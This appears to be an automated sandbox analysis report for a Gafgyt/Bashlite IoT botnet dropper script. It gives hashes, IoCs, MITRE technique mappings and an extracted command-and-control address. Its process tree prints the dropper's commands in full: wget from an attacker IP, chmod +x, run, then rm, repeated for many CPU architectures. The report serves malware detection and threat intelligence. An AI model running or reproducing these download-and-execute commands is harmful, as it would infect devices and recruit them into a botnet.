gafgyt | f970e2afe2d0fab6fbf2eab0e3d1e555d3fed10a6bf1b7929069f12689d28985

Analysis

max time kernel
131s
max time network
136s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/12/2024, 13:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sex.sh
Size 1KB
Sample241206-qhsplayph1
SHA256 f970e2afe2d0fab6fbf2eab0e3d1e555d3fed10a6bf1b7929069f12689d28985
MD5 3189d19ad6f6f1da0267b0390a050ceb
SHA1 eadeb7723eac480febdf3a5dba6452c0f8e1b710
SHA512 143874393ca2612bbfc81d451f16c45eab4c0c119fe0fa63a3ce6c74baba6dade2d0a241694dff2d4470228853f82dc6d4dc2ede4f18128de2c70cb27ac9a526
MD5 SHA1 SHA512

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

87.120.115.168:23

Signatures

Detected Gafgyt variant 10 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_gafgyt
behavioral2/files/fstream-2.dat	family_gafgyt
behavioral2/files/fstream-3.dat	family_gafgyt
behavioral2/files/fstream-4.dat	family_gafgyt
behavioral2/files/fstream-5.dat	family_gafgyt
behavioral2/files/fstream-6.dat	family_gafgyt
behavioral2/files/fstream-7.dat	family_gafgyt
behavioral2/files/fstream-8.dat	family_gafgyt
behavioral2/files/fstream-9.dat	family_gafgyt
behavioral2/files/fstream-10.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
733	chmod
744	chmod
802	chmod
834	chmod
853	chmod
689	chmod
710	chmod
715	chmod
720	chmod
793	chmod
811	chmod
824	chmod
842	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/mips	691	mips
/tmp/mipsel	711	mipsel
/tmp/sh4	716	sh4
/tmp/arm61	735	arm61
/tmp/ppc	794	ppc
/tmp/586	803	586
/tmp/m68k	813	m68k
/tmp/dc	826	dc
/tmp/dss	835	dss
/tmp/co	843	co

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	dss
File opened for modification	/dev/watchdog	co
File opened for modification	/dev/misc/watchdog	co
File opened for modification	/dev/watchdog	arm61
File opened for modification	/dev/misc/watchdog	arm61
File opened for modification	/dev/watchdog	dss

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	735	arm61
Changes the process name, possibly in an attempt to hide itself	835	dss
Changes the process name, possibly in an attempt to hide itself	843	co

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
711	mipsel
713	rm
682	wget
691	mips
695	rm
697	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/arm61	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/dc	wget
File opened for modification	/tmp/dss	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/586	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/co	wget

/tmp/sex.sh
/tmp/sex.sh
1⤵
PID:674
- /usr/bin/wget
  wget http://87.120.115.168/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/mips
  ./mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:691
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:695
- /usr/bin/wget
  wget http://87.120.115.168/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/mipsel
  ./mipsel
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:711
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:713
- /usr/bin/wget
  wget http://87.120.115.168/sh4
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod +x sh4
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/sh4
  ./sh4
  2⤵
  - Executes dropped EXE
  PID:716
- /bin/rm
  rm -rf sh4
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.115.168/x86
  2⤵
  PID:719
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/x86
  ./x86
  2⤵
  PID:721
- /bin/rm
  rm -rf x86
  2⤵
  PID:722
- /usr/bin/wget
  wget http://87.120.115.168/arm61
  2⤵
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod +x arm61
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/arm61
  ./arm61
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:735
- /bin/rm
  rm -rf arm61
  2⤵
  PID:738
- /usr/bin/wget
  wget http://87.120.115.168/i686
  2⤵
  PID:741
- /bin/chmod
  chmod +x i686
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/i686
  ./i686
  2⤵
  PID:745
- /bin/rm
  rm -rf i686
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.115.168/ppc
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x ppc
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/ppc
  ./ppc
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm -rf ppc
  2⤵
  PID:796
- /usr/bin/wget
  wget http://87.120.115.168/586
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x 586
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/586
  ./586
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm -rf 586
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.115.168/m68k
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod +x m68k
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/m68k
  ./m68k
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm -rf m68k
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.115.168/dc
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod +x dc
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/dc
  ./dc
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm -rf dc
  2⤵
  PID:828
- /usr/bin/wget
  wget http://87.120.115.168/dss
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod +x dss
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/dss
  ./dss
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:835
- /bin/rm
  rm -rf dss
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.115.168/co
  2⤵
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod +x co
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/co
  ./co
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:843
- /bin/rm
  rm -rf co
  2⤵
  PID:846
- /usr/bin/wget
  wget http://87.120.115.168/scar
  2⤵
  PID:848
- /bin/chmod
  chmod +x scar
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/scar
  ./scar
  2⤵
  PID:854
- /bin/rm
  rm -rf scar
  2⤵
  PID:855

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

586

Path /tmp/586
Size 94KB
SHA256 4296434a818a2c743e10bac1e9e5ddeeefaa2dc3c3dfc538d3bd1063c38e523a
MD5 38a73612d29ba094d452f3cc8e7c94c1
SHA1 9303de7519570e29faab1e2ca92788f3659f8c59
SHA512 f2cbf8e86cdee08fbde3ebf18313325a18fa3e9d2a07e5bfaf816a52721e086c4ffd40f2f29170ff66329f6bd6c3a308fd7bbfbf13fd60787bc8fc3dbb06eda7
SSDEEP 1536:msqmQTbw7U+OU0Cf5UI8E8WwP6kHzgk81VwcG2em1GMUNLe5um7WAgcVjmZIcBI:msi2UVUtBUI8GwPfHkk8r/eLesmqAgcr
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm61

Path /tmp/arm61
Size 136KB
SHA256 f24cc0d41c2d7b7dbbbb5eea02ec271403d8d80248222f398632f7ba3fdecc9c
MD5 75139e27f4e6caeb834fea23104f9943
SHA1 dbd370a62f724e83e734b3012ffab42126ad5883
SHA512 bfe603bf83d3b3ff1e902d0b203d7d6c737013e93e05c285e1aa8553fe6364a16897d2afbe2a62a587c05e9474a7d984487073d21fdf6d4fb49f15f711037fc1
SSDEEP 3072:Sdf+fvEqa9FazYA7IboRhUe391CErktmCQA9FX9aH:ifWEqa9FaNhUe3DrktmCQA9Z9aH
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/co
Size 117KB
SHA256 3a3417ada962d7e97f9d95904437145c304bb2d9198c3965561a41593afdb8a8
MD5 2e41dcc24f803583b3edd434f54cd318
SHA1 9c07b5d98a600647a60b3f7ab9546fa023276882
SHA512 3aedb8bae0239cb6c15f0bf15729c669e328cac06f07569a01dff395fd46a0a67f50d7498d8af45c89d6d433c76ac17b013e2733eda77a8583073ec06da380a2
SSDEEP 3072:hQrFRNfuLrGhEPOD0+g3gNlmBoHQuQekQnYW:IFzuaEGQ+g3CmBoHQuQekQnYW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/dc
Size 123KB
SHA256 d87be2d4e28af40f112f993955ef4df85dfafd87f2056c09d0cf47e485846495
MD5 2f496cbb94d8b6cba904bb180d46751a
SHA1 0a069456f8ba320f34336c1d2904a052f7b372e3
SHA512 455b6db26a425233da7c0a95648c7d269da43b58f012bca6c4a87213f04cfd1a70eb1eeda34a488d3c6a47b1c6dadf91617174e5ed6b645355f82a231e375218
SSDEEP 1536:ctrv5GE2dFg8aI0DN95P8tf7PJtA4Rdc0sfm7ypwYujl3IdnuW:ZP0DNPAR5sfm2pwYux3I5uW
MD5 SHA1 SHA512 SSDEEP

Submit Download

dss

Path /tmp/dss
Size 124KB
SHA256 5aed75441b46da6a03838e23fe22cfbc0232be98a72b897e51770260f17726d2
MD5 2541811343183a25a14623e2a1a3af5c
SHA1 17a5a0423c399a43925c21d8bf10bfc093d77db6
SHA512 bda4df6e513a81d75cec13e78bf1915f1caa96136d09e06f880c567724b1fa1be329cd5916119f876524528ae4a383578ac6e53fe662fae1a1833b59de160c4d
SSDEEP 3072:H63VpNeuWDGeQf8sRCpt3DxkS2YmyVUQuiXfQd6W:OSuWQEcCpt3ZmyVUQuiXfQd6W
MD5 SHA1 SHA512 SSDEEP

Submit Download

m68k

Path /tmp/m68k
Size 111KB
SHA256 66afdb56525d558935ceb1ea4cbd8129235219c20cab2020ea40ed954e184f6d
MD5 723d0dfea98e13ecb6fa9eed08c04685
SHA1 56ce18b2833025eccf489a1fccdd35455ac13b7b
SHA512 0d812c63ce25f83d7b7a8e854f3b756c333dc5bfee6729235a7083e5ef1b3a9eeac255eae9f02a19387eadc1ba8ec18137e5f9a3b64435b5e0cf634dd9a40b95
SSDEEP 3072:gLWUEK1FSHGfs1QbEE6QyPwds/avcWVRm2pgYMx3IPtW:gDsGfs1QHyPasSc2Rm2pgYMx3IPtW
MD5 SHA1 SHA512 SSDEEP

Submit Download

mips

Path /tmp/mips
Size 148KB
SHA256 1b87993b8c4aeb9bfdf718c7feef1f239f2ebcbcbd5a57e20a54d15aec8ace7a
MD5 87e0d903a571fcfcca6775bd599d4f2a
SHA1 9d5c8f78a5505e4b0a919d620ba6686af5ef5651
SHA512 afdc4156c36a365821fc4910dbbc293177ea2e21b3565412337fae1574abda0d651cfe150e0bea6baccde3331d5a5e08d18bc91e509009431916706d82394717
SSDEEP 1536:mVNs7K797V+nv57gbj6l6T6B6v6N6/6AePe1ebeZe5bwClA2rKQA1dXAQTI/e0ht:vY01ZkXAQT4Ng9//ImlWs4zWfOodW
MD5 SHA1 SHA512 SSDEEP

Submit Download

mipsel

Path /tmp/mipsel
Size 148KB
SHA256 7402ed7191a0e117e488ddf812caa0a96896c9d3ba6934c106f3af8d66767995
MD5 46cbc029673bbee94214d310d52e5944
SHA1 411726306a0f0ad673e0b20d9896679d20048bcb
SHA512 915643c7256f1c12dce3797b3e258f02bc5b131516276b26e6c86d0a585fd1e4cbd39fcc674c828581689fc89a3ca11a29c2fb723fe4e55174d5231703a836f2
SSDEEP 1536:bVeTpqCVvWRYx0O9vPBysZgvsgxqAz/0ufMytV8pLtaoLAImlP+s4zWfOodW:byvWmBx+sK/PflCgImlWs4zWfOodW
MD5 SHA1 SHA512 SSDEEP

Submit Download

ppc

Path /tmp/ppc
Size 110KB
SHA256 b0c191bc357a297451490fcda95bff759c3295128ec92bf8de110f3edf555a8c
MD5 311c10fc1cb994c0bf173c729b841c72
SHA1 43036b9d903d97dc52cc1fcd9b90abb7f8ba9a30
SHA512 7bf845764c070269cfca30c90004aa41a90bf96653b4608c783104be8470be30e00f833cd50ee29651790720cb60da9369087a9ab23b1620414e6fb499ac6c5d
SSDEEP 3072:WD3l+XQzPeV91310pWudwKakpNDtm2pgYMidIP1W:WD3l+XQzPe713CpWCwypxtm2pgYMidIQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

sh4

Path /tmp/sh4
Size 105KB
SHA256 b4a8570ac0c170d1604cfe4874da07ef87cc00d12f200a73f8e6ddf39c51f580
MD5 d781ac0877767e8a916bd14cb1d9fa2f
SHA1 59cb9a19dae2897de098909eba99ea4e406c5cdc
SHA512 223c1d1997899266ce629e06a3967f1fe3041911f8ad8f572d9a6a355c73b0405399363b230e70e6bc6b3daecf93d735465bc1d1ad70ba72dd5e25f5659c6d68
SSDEEP 1536:Aq/W65rWXAiP5dfK4EBbkb25lyDQnAjCdB5+TjgkHmmycgYVLu1IPYC:R/vp+9C4xb2Mj+0j/HmDcgYVy1IPYC
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads